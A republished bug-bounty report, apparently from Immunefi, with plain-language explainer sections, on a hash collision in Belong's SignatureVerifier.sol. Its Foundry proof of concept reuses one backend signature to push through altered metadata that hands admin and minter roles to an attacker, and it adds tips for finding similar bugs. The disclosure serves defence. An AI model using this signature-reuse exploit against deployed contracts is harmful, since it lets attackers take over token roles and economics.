Skip to content
Crypto Audit finding Intermediate

Hash collision in signature verification

The contract hashed several variable-length strings together with abi.encodePacked before verifying a backend signature, so two different metadata sets can produce the same hash. An attacker with one valid signature could reuse it for a colliding set of name and symbol values that the signer never approved.

Belong

Originally disclosed on Immunefi

56860 sc medium hash collision in signature verification

Submitted on Oct 21st 2025 at 10:18:50 UTC by @ciphermalware for Audit Comp | Belong

Description

Brief / Intro

In SignatureVerifier.sol the use of abi.encodePacked to calculate hashes for several sequential strings (name, symbol and URI) used for signature verification results in hash collisions. An attacker can obtain a valid backend signature for one set of inputs and then reuse it for a colliding set. This allows any user to pass verification for metadata the signer did not approve.

Vulnerability Details

In checkAccessTokenInfo the hash is computed as:

Solidity
keccak256(
    abi.encodePacked(
        accessTokenInfo.metadata.name,  
        accessTokenInfo.metadata.symbol,  
        accessTokenInfo.contractURI,  
        accessTokenInfo.feeNumerator, 
        block.chainid  
    )
)

Three strings are concatenated one after another before the fixed uints. Two different payloads can produce the same concatenated bytes, causing identical keccak256 hashes. Once the backend signs Payload A, a user can present Payload B (that collides) with the same signature and pass verification because signer.isValidSignatureNow will return true.

The difference between name and symbol is ambiguous when using packed encoding, so characters can be moved between fields without changing the packed bytes. This is the exact collision scenario warned against in the Solidity docs.

Recommended remediation: replace abi.encodePacked() with abi.encode() in all signature verification functions. As noted in the Solidity docs: "Unless there is a compelling reason, abi.encode should be preferred."

Impact Details

This is an authorization bypass: an attacker can alter metadata the signer intended to restrict. No on-chain privileges are required beyond possessing a valid signature for some triplet—the attack manipulates field boundaries while preserving bytes, so verification succeeds.

References

Proof of Concept

The author used Foundry. Files added: SignatureVerifier.sol and Structures.sol in src, and SignatureVerifier.t.sol in test.

Test contract SignatureVerifier.t.sol:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

import "forge-std/Test.sol";
import "../src/SignatureVerifier.sol";
import "../src/Structures.sol";

contract HashCollisionPOC is Test {
    address public backendSigner;
    uint256 public backendPrivateKey;
    address public attacker;
    address public legitimateUser;
    
    function setUp() public {
        backendPrivateKey = 0xBEEF;
        backendSigner = vm.addr(backendPrivateKey);
        attacker = address(0xA11CE);
        legitimateUser = address(0xB0B);
    }
    
    function testBasicCollision() public pure {
        bytes32 hash1 = keccak256(abi.encodePacked("ABC", "DEF"));
        bytes32 hash2 = keccak256(abi.encodePacked("ABCD", "EF"));
        assertEq(hash1, hash2);
    }
    
    function testAccessTokenCollision() public view {
        string memory name1 = "Premium Club";
        string memory symbol1 = "PREM";
        string memory uri = "ipfs://QmHash";
        uint96 fee = 500;
        
        string memory name2 = "Premium Clu";
        string memory symbol2 = "bPREM";
        
        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri, fee, block.chainid));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri, fee, block.chainid));
        
        assertEq(hash1, hash2);
    }
    
    function testAccessTokenSignatureReuse() public {
        string memory legit_name = "VIP Access";
        string memory legit_symbol = "VIP";
        string memory uri = "ipfs://QmMetadata";
        uint96 fee = 500;
        
        bytes32 messageHash = keccak256(abi.encodePacked(legit_name, legit_symbol, uri, fee, block.chainid));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(backendPrivateKey, messageHash);
        bytes memory signature = abi.encodePacked(r, s, v);
        
        AccessTokenInfo memory legitInfo = AccessTokenInfo({
            paymentToken: address(0x1111111111111111111111111111111111111111),
            feeNumerator: fee,
            transferable: true,
            maxTotalSupply: 1000,
            mintPrice: 1 ether,
            whitelistMintPrice: 0.5 ether,
            collectionExpire: block.timestamp + 365 days,
            metadata: NftMetadata({name: legit_name, symbol: legit_symbol}),
            contractURI: uri,
            signature: signature
        });
        
        vm.prank(legitimateUser);
        SignatureVerifier.checkAccessTokenInfo(backendSigner, legitInfo);
        
        string memory attack_name = "VIP Acces";
        string memory attack_symbol = "sVIP";
        
        AccessTokenInfo memory attackInfo = AccessTokenInfo({
            paymentToken: address(0x2222222222222222222222222222222222222222),
            feeNumerator: fee,
            transferable: false,
            maxTotalSupply: 999999,
            mintPrice: 0.001 ether,
            whitelistMintPrice: 0,
            collectionExpire: 0,
            metadata: NftMetadata({name: attack_name, symbol: attack_symbol}),
            contractURI: uri,
            signature: signature
        });
        
        vm.prank(attacker);
        SignatureVerifier.checkAccessTokenInfo(backendSigner, attackInfo);
    }
    
    function testCreditTokenCollision() public view {
        string memory name1 = "Loyalty Points";
        string memory symbol1 = "LOYAL";
        string memory uri = "https://api.belong.net/token/{id}";
        
        string memory name2 = "Loyalty Point";
        string memory symbol2 = "sLOYAL";
        
        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri, block.chainid));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri, block.chainid));
        
        assertEq(hash1, hash2);
    }
    
    function testCreditTokenSignatureReuse() public {
        string memory legit_name = "Reward Token";
        string memory legit_symbol = "RWRD";
        string memory uri = "https://api.example.com/metadata";
        
        bytes32 messageHash = keccak256(abi.encodePacked(legit_name, legit_symbol, uri, block.chainid));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(backendPrivateKey, messageHash);
        bytes memory signature = abi.encodePacked(r, s, v);
        
        ERC1155Info memory legitInfo = ERC1155Info({
            name: legit_name,
            symbol: legit_symbol,
            defaultAdmin: legitimateUser,
            manager: legitimateUser,
            minter: legitimateUser,
            burner: legitimateUser,
            uri: uri,
            transferable: true
        });
        
        vm.prank(legitimateUser);
        SignatureVerifier.checkCreditTokenInfo(backendSigner, signature, legitInfo);
        
        string memory attack_name = "Reward Toke";
        string memory attack_symbol = "nRWRD";
        
        ERC1155Info memory attackInfo = ERC1155Info({
            name: attack_name,
            symbol: attack_symbol,
            defaultAdmin: attacker,
            manager: attacker,
            minter: attacker,
            burner: attacker,
            uri: uri,
            transferable: false
        });
        
        vm.prank(attacker);
        SignatureVerifier.checkCreditTokenInfo(backendSigner, signature, attackInfo);
    }
    
    function testAbiEncodePreventCollision() public pure {
        string memory name1 = "Premium Club";
        string memory symbol1 = "PREM";
        string memory name2 = "Premium Clu";
        string memory symbol2 = "bPREM";
        
        bytes32 packed1 = keccak256(abi.encodePacked(name1, symbol1));
        bytes32 packed2 = keccak256(abi.encodePacked(name2, symbol2));
        assertEq(packed1, packed2);
        
        bytes32 encoded1 = keccak256(abi.encode(name1, symbol1));
        bytes32 encoded2 = keccak256(abi.encode(name2, symbol2));
        assertTrue(encoded1 != encoded2);
    }
}

Test command:

forge test --match-contract HashCollisionPOC -vvv

Observed output confirming collisions and signature reuse:

Ran 6 tests for test/SignatureVerifier.t.sol:HashCollisionPOC
[PASS] testAbiEncodePreventCollision() (gas: 3744)
[PASS] testAccessTokenCollision() (gas: 3171)
[PASS] testAccessTokenSignatureReuse() (gas: 48157)
[PASS] testBasicCollision() (gas: 1248)
[PASS] testCreditTokenCollision() (gas: 2750)
[PASS] testCreditTokenSignatureReuse() (gas: 41710)
Suite result: ok. 6 passed; 0 failed; 0 skipped; finished in 6.23ms (4.73ms CPU time)

{% hint style="info" %} Suggested fix (as stated in the report): use abi.encode(...) instead of abi.encodePacked(...) when constructing the message hash for signature verification. This prevents dynamic fields from being concatenated ambiguously and avoids the described collision class. {% endhint %}

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target is SignatureVerifier.sol in the Belong check-in contracts, a smart contract utility that verifies backend-issued signatures before metadata is accepted on chain. The report was filed against the Belong program on Immunefi as a smart contract finding of medium severity, with the impact category "Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)".

The report demonstrates two verification functions, checkAccessTokenInfo and checkCreditTokenInfo. Both build a message hash from user-supplied metadata fields and then check the signature against a trusted backend signer using signer.isValidSignatureNow. The metadata includes strings such as the token name, symbol and contract URI, plus fixed-width values such as a fee numerator and the chain ID.

Setup

The proof of concept uses Foundry. The author added SignatureVerifier.sol and Structures.sol under src, and a test file SignatureVerifier.t.sol under test. The test contract declares a backend signer derived from a private key, an attacker address and a legitimate user address, and sets them up in setUp:

Solidity
function setUp() public {
    backendPrivateKey = 0xBEEF;
    backendSigner = vm.addr(backendPrivateKey);
    attacker = address(0xA11CE);
    legitimateUser = address(0xB0B);
}

No on-chain privileges are required beyond possessing a valid signature for some triplet. The only precondition for the attack is that a valid backend signature exists for some metadata triplet.

Finding it

In checkAccessTokenInfo the hash is computed by concatenating several dynamic strings with abi.encodePacked before the fixed-width integers:

Solidity
keccak256(
    abi.encodePacked(
        accessTokenInfo.metadata.name,
        accessTokenInfo.metadata.symbol,
        accessTokenInfo.contractURI,
        accessTokenInfo.feeNumerator,
        block.chainid
    )
)

Packed encoding writes dynamic types back to back with no length prefix and no padding. Because the boundary between name and symbol is not encoded, characters can be moved from one field to the other without changing the concatenated bytes. Two different payloads therefore produce the same byte string and the same keccak256 hash. The report points out that this is the exact collision scenario the Solidity documentation warns about for non-standard packed mode.

The same pattern appears in the credit token path, where the name, symbol and URI are packed together with the chain ID before hashing.

Exploitation

Step 1: Confirm the primitive collision

The first test shows that packed encoding of two adjacent strings collides when a character is shifted across the boundary:

Solidity
function testBasicCollision() public pure {
    bytes32 hash1 = keccak256(abi.encodePacked("ABC", "DEF"));
    bytes32 hash2 = keccak256(abi.encodePacked("ABCD", "EF"));
    assertEq(hash1, hash2);
}

Both calls produce the bytes ABCDEF, so the hashes are identical. This establishes the mechanism before it is applied to the real struct.

Step 2: Collide the access token metadata

The next test applies the same shift to a realistic name and symbol pair while keeping the URI, fee and chain ID fixed:

Solidity
function testAccessTokenCollision() public view {
    string memory name1 = "Premium Club";
    string memory symbol1 = "PREM";
    string memory uri = "ipfs://QmHash";
    uint96 fee = 500;

    string memory name2 = "Premium Clu";
    string memory symbol2 = "bPREM";

    bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri, fee, block.chainid));
    bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri, fee, block.chainid));

    assertEq(hash1, hash2);
}

Moving the final b of Premium Club into the start of the symbol leaves the packed bytes unchanged, so the two metadata sets hash identically.

Step 3: Reuse a legitimate signature for altered access token metadata

The signature reuse test signs the legitimate metadata with the backend key, then presents a colliding struct with different economic parameters and a different recipient:

Solidity
function testAccessTokenSignatureReuse() public {
    string memory legit_name = "VIP Access";
    string memory legit_symbol = "VIP";
    string memory uri = "ipfs://QmMetadata";
    uint96 fee = 500;

    bytes32 messageHash = keccak256(abi.encodePacked(legit_name, legit_symbol, uri, fee, block.chainid));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(backendPrivateKey, messageHash);
    bytes memory signature = abi.encodePacked(r, s, v);

    AccessTokenInfo memory legitInfo = AccessTokenInfo({
        paymentToken: address([redacted]),
        feeNumerator: fee,
        transferable: true,
        maxTotalSupply: 1000,
        mintPrice: 1 ether,
        whitelistMintPrice: 0.5 ether,
        collectionExpire: block.timestamp + 365 days,
        metadata: NftMetadata({name: legit_name, symbol: legit_symbol}),
        contractURI: uri,
        signature: signature
    });

    vm.prank(legitimateUser);
    SignatureVerifier.checkAccessTokenInfo(backendSigner, legitInfo);

    string memory attack_name = "VIP Acces";
    string memory attack_symbol = "sVIP";

    AccessTokenInfo memory attackInfo = AccessTokenInfo({
        paymentToken: address([redacted]),
        feeNumerator: fee,
        transferable: false,
        maxTotalSupply: 999999,
        mintPrice: 0.001 ether,
        whitelistMintPrice: 0,
        collectionExpire: 0,
        metadata: NftMetadata({name: attack_name, symbol: attack_symbol}),
        contractURI: uri,
        signature: signature
    });

    vm.prank(attacker);
    SignatureVerifier.checkAccessTokenInfo(backendSigner, attackInfo);
}

The legitimate call succeeds as expected. The attacker then submits attackInfo, which changes the payment token, sets transferable to false, raises maxTotalSupply to 999999, drops the mint prices and zeroes the expiry, while shifting the s from VIP into the name. Because the packed bytes are the same, the hash matches and signer.isValidSignatureNow returns true, so verification passes for metadata the signer never approved.

Step 4: Collide the credit token metadata

The credit token path is tested the same way, with the name, symbol and URI packed together with the chain ID:

Solidity
function testCreditTokenCollision() public view {
    string memory name1 = "Loyalty Points";
    string memory symbol1 = "LOYAL";
    string memory uri = "https://api.belong.net/token/{id}";

    string memory name2 = "Loyalty Point";
    string memory symbol2 = "sLOYAL";

    bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri, block.chainid));
    bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri, block.chainid));

    assertEq(hash1, hash2);
}

Again the trailing s of the name is moved into the symbol, and the hashes match.

Step 5: Reuse a legitimate signature for altered credit token metadata

The final reuse test signs a legitimate ERC1155Info and then presents a colliding one that reassigns every role to the attacker:

Solidity
function testCreditTokenSignatureReuse() public {
    string memory legit_name = "Reward Token";
    string memory legit_symbol = "RWRD";
    string memory uri = "https://api.example.com/metadata";

    bytes32 messageHash = keccak256(abi.encodePacked(legit_name, legit_symbol, uri, block.chainid));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(backendPrivateKey, messageHash);
    bytes memory signature = abi.encodePacked(r, s, v);

    ERC1155Info memory legitInfo = ERC1155Info({
        name: legit_name,
        symbol: legit_symbol,
        defaultAdmin: legitimateUser,
        manager: legitimateUser,
        minter: legitimateUser,
        burner: legitimateUser,
        uri: uri,
        transferable: true
    });

    vm.prank(legitimateUser);
    SignatureVerifier.checkCreditTokenInfo(backendSigner, signature, legitInfo);

    string memory attack_name = "Reward Toke";
    string memory attack_symbol = "nRWRD";

    ERC1155Info memory attackInfo = ERC1155Info({
        name: attack_name,
        symbol: attack_symbol,
        defaultAdmin: attacker,
        manager: attacker,
        minter: attacker,
        burner: attacker,
        uri: uri,
        transferable: false
    });

    vm.prank(attacker);
    SignatureVerifier.checkCreditTokenInfo(backendSigner, signature, attackInfo);
}

The attacker's struct moves the n from the name into the symbol, sets the attacker as default admin, manager, minter and burner, and disables transfers. The signature from the legitimate struct is accepted because the hash is unchanged.

Step 6: Show that abi.encode prevents the collision

The last test contrasts packed and standard encoding on the same pair of strings:

Solidity
function testAbiEncodePreventCollision() public pure {
    string memory name1 = "Premium Club";
    string memory symbol1 = "PREM";
    string memory name2 = "Premium Clu";
    string memory symbol2 = "bPREM";

    bytes32 packed1 = keccak256(abi.encodePacked(name1, symbol1));
    bytes32 packed2 = keccak256(abi.encodePacked(name2, symbol2));
    assertEq(packed1, packed2);

    bytes32 encoded1 = keccak256(abi.encode(name1, symbol1));
    bytes32 encoded2 = keccak256(abi.encode(name2, symbol2));
    assertTrue(encoded1 != encoded2);
}

With abi.encode, each dynamic value carries its offset and length, so the two metadata sets produce different hashes.

Step 7: Run the suite

The tests are run with:

Bash
forge test --match-contract HashCollisionPOC -vvv

The observed output confirms all six tests pass, including both signature reuse tests:

Text
Ran 6 tests for test/SignatureVerifier.t.sol:HashCollisionPOC
[PASS] testAbiEncodePreventCollision() (gas: 3744)
[PASS] testAccessTokenCollision() (gas: 3171)
[PASS] testAccessTokenSignatureReuse() (gas: 48157)
[PASS] testBasicCollision() (gas: 1248)
[PASS] testCreditTokenCollision() (gas: 2750)
[PASS] testCreditTokenSignatureReuse() (gas: 41710)
Suite result: ok. 6 passed; 0 failed; 0 skipped; finished in 6.23ms (4.73ms CPU time)

Root cause

The message hash is built with abi.encodePacked over multiple dynamic strings. Packed encoding omits length prefixes and padding for dynamic types, so the field boundaries are not part of the hashed data. Any two metadata sets whose concatenated bytes are equal produce the same hash, and a signature over one is valid for the other. The weakness is in how that hash is constructed.

Impact

This is an authorisation bypass. An attacker who holds any valid backend signature for a metadata triplet can present a colliding triplet and have it accepted, altering metadata the signer intended to restrict. In the access token case the demonstrated changes include the payment token, transferability, total supply, mint prices and expiry. In the credit token case the demonstrated changes reassign the default admin, manager, minter and burner roles to the attacker and disable transfers. No on-chain privileges are required beyond possessing a valid signature for some triplet, because the attack only manipulates field boundaries while preserving the bytes.

Fix

The report recommends replacing abi.encodePacked() with abi.encode() in all signature verification functions, citing the Solidity documentation: "Unless there is a compelling reason, abi.encode should be preferred." The suggested fix is to use abi.encode(...) instead of abi.encodePacked(...) when constructing the message hash, so dynamic fields are length-prefixed and cannot be concatenated ambiguously. The proof of concept includes a test showing that abi.encode produces distinct hashes for the colliding inputs.

Variants to test

  1. Other signature schemes over packed metadata: look for keccak256(abi.encodePacked(...)) followed by ecrecover, isValidSignatureNow or a similar check, where two or more dynamic types are adjacent. A positive result is two different structs that hash to the same value and both pass verification.
  2. Mixed dynamic and fixed-width fields: check whether a dynamic string sits directly before a fixed-width integer or address. Shifting bytes between a string and a following fixed-width value can also collide if the total length is preserved. A positive result is a signature valid for a struct with a different numeric field.
  3. Arrays of dynamic types: packed encoding of string[] or bytes[] concatenates elements without separators. A positive result is two arrays with different element boundaries that hash identically.
  4. Role or permission structs: target verification functions that sign admin, minter or manager addresses alongside strings. A positive result is a colliding struct that reassigns a role to an attacker-controlled address.
  5. Cross-function reuse: check whether two different verification functions build hashes from the same packed fields. A positive result is a signature issued for one function accepted by another.

Hunting notes

This class of bug hides in signature verification helpers that assemble a message from user-supplied metadata. During recon, grep the contracts for abi.encodePacked near keccak256, ecrecover or isValidSignatureNow, and pay particular attention when two or more string or bytes values are packed next to each other. The signal is a hash built from fields whose boundaries matter to the signer but are not encoded.

To show impact, demonstrate a concrete collision on realistic values, then show that a signature issued for the legitimate struct is accepted for a struct with meaningfully different fields, such as changed prices, supply, transferability or role assignments. Running the tests with Foundry and showing the passing output gives the program a reproducible result. The report also contrasts abi.encodePacked with abi.encode on the same inputs.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A smart contract called SignatureVerifier.sol then checks that signature before accepting the details. Think of the signature as a wax seal on an envelope: the contract only accepts the envelope if the seal is genuine.

The problem is how the contract turns the collection's details into a short fingerprint (a hash) before checking the seal. It glues several pieces of text together with no separators, so "ABC" followed by "DEF" looks exactly the same as "ABCD" followed by "EF". Because the fingerprint is the same, a signature the backend made for one set of details also passes for a different set. An attacker can take a genuine signature for an approved collection and reuse it for a collection with different prices, supply, roles or transfer rules that the backend never approved.

The report calls this a hash collision in signature verification. It is rated medium severity, and the impact category is "Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)".

Background you need first

A few ideas come up again and again, so here they are from zero.

  • Blockchain and smart contract: a blockchain is a shared record that many computers keep in sync. A smart contract is a small program that lives on it and runs automatically. Once deployed, its code is fixed, so any mistake in it stays until it is replaced.
  • NFT and token metadata: an NFT is a unique digital item on the blockchain. Its metadata is the descriptive data around it: a name, a symbol, a link to artwork or details (the URI), and rules such as how many can exist or whether they can be transferred.
  • Backend: the ordinary server the company runs off-chain. Here it decides which collections are allowed and produces signatures approving them.
  • Signature: a cryptographic stamp that proves a particular private key approved a particular piece of data. Anyone can check it with the matching public key, but only the key holder can create it. It is like a wax seal that is very hard to forge.
  • Hash: a fingerprint of data. Feed in any data and you get a fixed-length string of characters back. The same input always gives the same fingerprint, and it is practically impossible to find two different inputs with the same fingerprint on purpose. The function used here is keccak256.
  • Hash collision: two different inputs that produce the same hash. A good hash makes this practically impossible. A badly assembled input can make it trivial, which is exactly what happens here.
  • abi.encodePacked vs abi.encode: two ways a Solidity program (Solidity is the language smart contracts are written in) can turn values into bytes. abi.encode adds length information and padding so each value is clearly separated. abi.encodePacked just glues the raw bytes together with nothing in between, which is compact but ambiguous when several variable-length values sit next to each other.
  • Foundry: a toolkit for writing and running tests against smart contracts on your own computer, without touching a real network. forge is its test runner.
  • Proof of concept (PoC): a small, runnable demonstration that proves a bug is real.

Context

The target is SignatureVerifier.sol in the Belong check-in contracts, a smart contract utility that verifies backend-issued signatures before metadata is accepted on chain. The report was filed against the Belong program on Immunefi (a bug bounty platform) as a smart contract finding of medium severity, with the impact category "Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)".

The report demonstrates two verification functions, checkAccessTokenInfo and checkCreditTokenInfo. Both build a message hash from user-supplied metadata fields and then check the signature against a trusted backend signer using signer.isValidSignatureNow. The metadata includes strings such as the token name, symbol and contract URI, plus fixed-width values such as a fee numerator and the chain ID.

In plain terms: the backend says "yes, this collection is fine" by signing a fingerprint of its details. The contract recomputes the fingerprint from whatever details a user submits and asks "does this signature match?". If the fingerprint can be made to match for two different sets of details, the gate opens for details the backend never saw.

Setup

The proof of concept uses Foundry. The author added SignatureVerifier.sol and Structures.sol under src, and a test file SignatureVerifier.t.sol under test. The test contract declares a backend signer derived from a private key, an attacker address and a legitimate user address, and sets them up in setUp:

Solidity
function setUp() public {
    backendPrivateKey = 0xBEEF;
    backendSigner = vm.addr(backendPrivateKey);
    attacker = address(0xA11CE);
    legitimateUser = address(0xB0B);
}

Line by line:

  1. backendPrivateKey = 0xBEEF; stores a made-up private key. In a real system this would be the backend's secret; here it is a test value so the test can play the role of the backend.
  2. backendSigner = vm.addr(backendPrivateKey); asks Foundry to work out the public address that belongs to that private key. This address is what the contract will treat as the trusted signer.
  3. attacker = address(0xA11CE); and legitimateUser = address(0xB0B); create two placeholder addresses, one for the honest user and one for the attacker. The values are just readable hex patterns.

No on-chain privileges are required beyond possessing a valid signature for some triplet. The only precondition for the attack is that a valid backend signature exists for some metadata triplet.

Finding it

In checkAccessTokenInfo the hash is computed by concatenating several dynamic strings with abi.encodePacked before the fixed-width integers:

Solidity
keccak256(
    abi.encodePacked(
        accessTokenInfo.metadata.name,
        accessTokenInfo.metadata.symbol,
        accessTokenInfo.contractURI,
        accessTokenInfo.feeNumerator,
        block.chainid
    )
)

What this does, step by step:

  1. accessTokenInfo.metadata.name, .symbol and accessTokenInfo.contractURI are three pieces of text of variable length.
  2. accessTokenInfo.feeNumerator is a number, and block.chainid is the identifier of the blockchain the contract runs on. Both have a fixed width.
  3. abi.encodePacked glues all five together with no separators and no length markers.
  4. keccak256 turns the glued bytes into a fingerprint.

Packed encoding writes dynamic types back to back with no length prefix and no padding. Because the boundary between name and symbol is not encoded, characters can be moved from one field to the other without changing the concatenated bytes. Two different payloads therefore produce the same byte string and the same keccak256 hash. The report points out that this is the exact collision scenario the Solidity documentation warns about for non-standard packed mode.

An everyday comparison: imagine a form where you write your first name and last name in two boxes, but the boxes are then glued together with no space. "Anna" + "Bell" and "Ann" + "aBell" both become "AnnaBell". Anyone reading only the glued result cannot tell which split was intended.

The same pattern appears in the credit token path, where the name, symbol and URI are packed together with the chain ID before hashing.

Exploitation

Step 1: Confirm the primitive collision

The first test shows that packed encoding of two adjacent strings collides when a character is shifted across the boundary:

Solidity
function testBasicCollision() public pure {
    bytes32 hash1 = keccak256(abi.encodePacked("ABC", "DEF"));
    bytes32 hash2 = keccak256(abi.encodePacked("ABCD", "EF"));
    assertEq(hash1, hash2);
}

Line by line:

  1. hash1 is the fingerprint of "ABC" glued to "DEF", which is the bytes ABCDEF.
  2. hash2 is the fingerprint of "ABCD" glued to "EF", which is also the bytes ABCDEF.
  3. assertEq(hash1, hash2) checks that the two fingerprints are equal. The test passes, which proves the mechanism.

Both calls produce the bytes ABCDEF, so the hashes are identical. This establishes the mechanism before it is applied to the real struct. Starting with the smallest possible example is a good habit: it isolates the cause from everything else.

Step 2: Collide the access token metadata

The next test applies the same shift to a realistic name and symbol pair while keeping the URI, fee and chain ID fixed:

Solidity
function testAccessTokenCollision() public view {
    string memory name1 = "Premium Club";
    string memory symbol1 = "PREM";
    string memory uri = "ipfs://QmHash";
    uint96 fee = 500;

    string memory name2 = "Premium Clu";
    string memory symbol2 = "bPREM";

    bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri, fee, block.chainid));
    bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri, fee, block.chainid));

    assertEq(hash1, hash2);
}

Line by line:

  1. The first block sets up an honest-looking collection: name "Premium Club", symbol "PREM", a URI and a fee of 500.
  2. The second block sets up a lookalike: name "Premium Clu" and symbol "bPREM". The letter b has moved from the end of the name to the start of the symbol.
  3. hash1 and hash2 glue each pair together with the same URI, fee and chain ID.
  4. assertEq confirms the two fingerprints are equal.

Moving the final b of Premium Club into the start of the symbol leaves the packed bytes unchanged, so the two metadata sets hash identically. The URI, fee and chain ID are identical in both, so they do not affect the comparison.

Step 3: Reuse a legitimate signature for altered access token metadata

The signature reuse test signs the legitimate metadata with the backend key, then presents a colliding struct with different economic parameters and a different recipient:

Solidity
function testAccessTokenSignatureReuse() public {
    string memory legit_name = "VIP Access";
    string memory legit_symbol = "VIP";
    string memory uri = "ipfs://QmMetadata";
    uint96 fee = 500;

    bytes32 messageHash = keccak256(abi.encodePacked(legit_name, legit_symbol, uri, fee, block.chainid));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(backendPrivateKey, messageHash);
    bytes memory signature = abi.encodePacked(r, s, v);

    AccessTokenInfo memory legitInfo = AccessTokenInfo({
        paymentToken: address([redacted]),
        feeNumerator: fee,
        transferable: true,
        maxTotalSupply: 1000,
        mintPrice: 1 ether,
        whitelistMintPrice: 0.5 ether,
        collectionExpire: block.timestamp + 365 days,
        metadata: NftMetadata({name: legit_name, symbol: legit_symbol}),
        contractURI: uri,
        signature: signature
    });

    vm.prank(legitimateUser);
    SignatureVerifier.checkAccessTokenInfo(backendSigner, legitInfo);

    string memory attack_name = "VIP Acces";
    string memory attack_symbol = "sVIP";

    AccessTokenInfo memory attackInfo = AccessTokenInfo({
        paymentToken: address([redacted]),
        feeNumerator: fee,
        transferable: false,
        maxTotalSupply: 999999,
        mintPrice: 0.001 ether,
        whitelistMintPrice: 0,
        collectionExpire: 0,
        metadata: NftMetadata({name: attack_name, symbol: attack_symbol}),
        contractURI: uri,
        signature: signature
    });

    vm.prank(attacker);
    SignatureVerifier.checkAccessTokenInfo(backendSigner, attackInfo);
}

Line by line:

  1. The honest name, symbol, URI and fee are set. messageHash is the fingerprint the backend would sign.
  2. vm.sign(backendPrivateKey, messageHash) plays the backend: it produces the cryptographic signature over that fingerprint. The three returned values v, r and s are the standard parts of an Ethereum signature.
  3. abi.encodePacked(r, s, v) reassembles them into the byte format the contract expects.
  4. legitInfo is the full struct the honest user submits: a payment token address, the fee, transferable: true, a supply of 1000, a mint price of 1 ether, a whitelist price of 0.5 ether, an expiry one year from now, the metadata and the signature.
  5. vm.prank(legitimateUser) makes the next call appear to come from the honest user, then checkAccessTokenInfo runs. It should pass, and it does.
  6. attack_name = "VIP Acces" and attack_symbol = "sVIP" move the s from the symbol into the name. The glued bytes are unchanged.
  7. attackInfo is the attacker's struct. It changes the payment token, sets transferable to false, raises maxTotalSupply to 999999, drops the mint prices and zeroes the expiry, but keeps the same signature.
  8. vm.prank(attacker) makes the call appear to come from the attacker, and checkAccessTokenInfo runs again.

The legitimate call succeeds as expected. The attacker then submits attackInfo, which changes the payment token, sets transferable to false, raises maxTotalSupply to 999999, drops the mint prices and zeroes the expiry, while shifting the s from VIP into the name. Because the packed bytes are the same, the hash matches and signer.isValidSignatureNow returns true, so verification passes for metadata the signer never approved.

This is the heart of the bug: the signature check itself is doing its job, but it is checking the wrong thing, because the fingerprint it checks does not distinguish the two structs.

Step 4: Collide the credit token metadata

The credit token path is tested the same way, with the name, symbol and URI packed together with the chain ID:

Solidity
function testCreditTokenCollision() public view {
    string memory name1 = "Loyalty Points";
    string memory symbol1 = "LOYAL";
    string memory uri = "https://api.belong.net/token/{id}";

    string memory name2 = "Loyalty Point";
    string memory symbol2 = "sLOYAL";

    bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri, block.chainid));
    bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri, block.chainid));

    assertEq(hash1, hash2);
}

Line by line:

  1. The first pair is "Loyalty Points" and "LOYAL", with a URI and the chain ID.
  2. The second pair is "Loyalty Point" and "sLOYAL", with the same URI and chain ID. The trailing s has moved from the name into the symbol.
  3. Both fingerprints are computed and compared, and they match.

Again the trailing s of the name is moved into the symbol, and the hashes match. This shows the bug is not limited to one function: the same pattern appears wherever several strings are packed together before hashing.

Step 5: Reuse a legitimate signature for altered credit token metadata

The final reuse test signs a legitimate ERC1155Info and then presents a colliding one that reassigns every role to the attacker:

Solidity
function testCreditTokenSignatureReuse() public {
    string memory legit_name = "Reward Token";
    string memory legit_symbol = "RWRD";
    string memory uri = "https://api.example.com/metadata";

    bytes32 messageHash = keccak256(abi.encodePacked(legit_name, legit_symbol, uri, block.chainid));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(backendPrivateKey, messageHash);
    bytes memory signature = abi.encodePacked(r, s, v);

    ERC1155Info memory legitInfo = ERC1155Info({
        name: legit_name,
        symbol: legit_symbol,
        defaultAdmin: legitimateUser,
        manager: legitimateUser,
        minter: legitimateUser,
        burner: legitimateUser,
        uri: uri,
        transferable: true
    });

    vm.prank(legitimateUser);
    SignatureVerifier.checkCreditTokenInfo(backendSigner, signature, legitInfo);

    string memory attack_name = "Reward Toke";
    string memory attack_symbol = "nRWRD";

    ERC1155Info memory attackInfo = ERC1155Info({
        name: attack_name,
        symbol: attack_symbol,
        defaultAdmin: attacker,
        manager: attacker,
        minter: attacker,
        burner: attacker,
        uri: uri,
        transferable: false
    });

    vm.prank(attacker);
    SignatureVerifier.checkCreditTokenInfo(backendSigner, signature, attackInfo);
}

Line by line:

  1. The honest name, symbol and URI are set, and the backend key signs the fingerprint.
  2. legitInfo is an ERC1155Info struct. ERC1155 is a common token standard; this struct carries the name, symbol, URI, four role addresses (default admin, manager, minter, burner) and a transferable flag. All four roles belong to the honest user.
  3. The honest user submits it and verification passes.
  4. attack_name = "Reward Toke" and attack_symbol = "nRWRD" move the n from the symbol into the name, leaving the glued bytes unchanged.
  5. attackInfo keeps the same URI and signature but sets every role to the attacker and disables transfers.
  6. The attacker submits it, and verification passes.

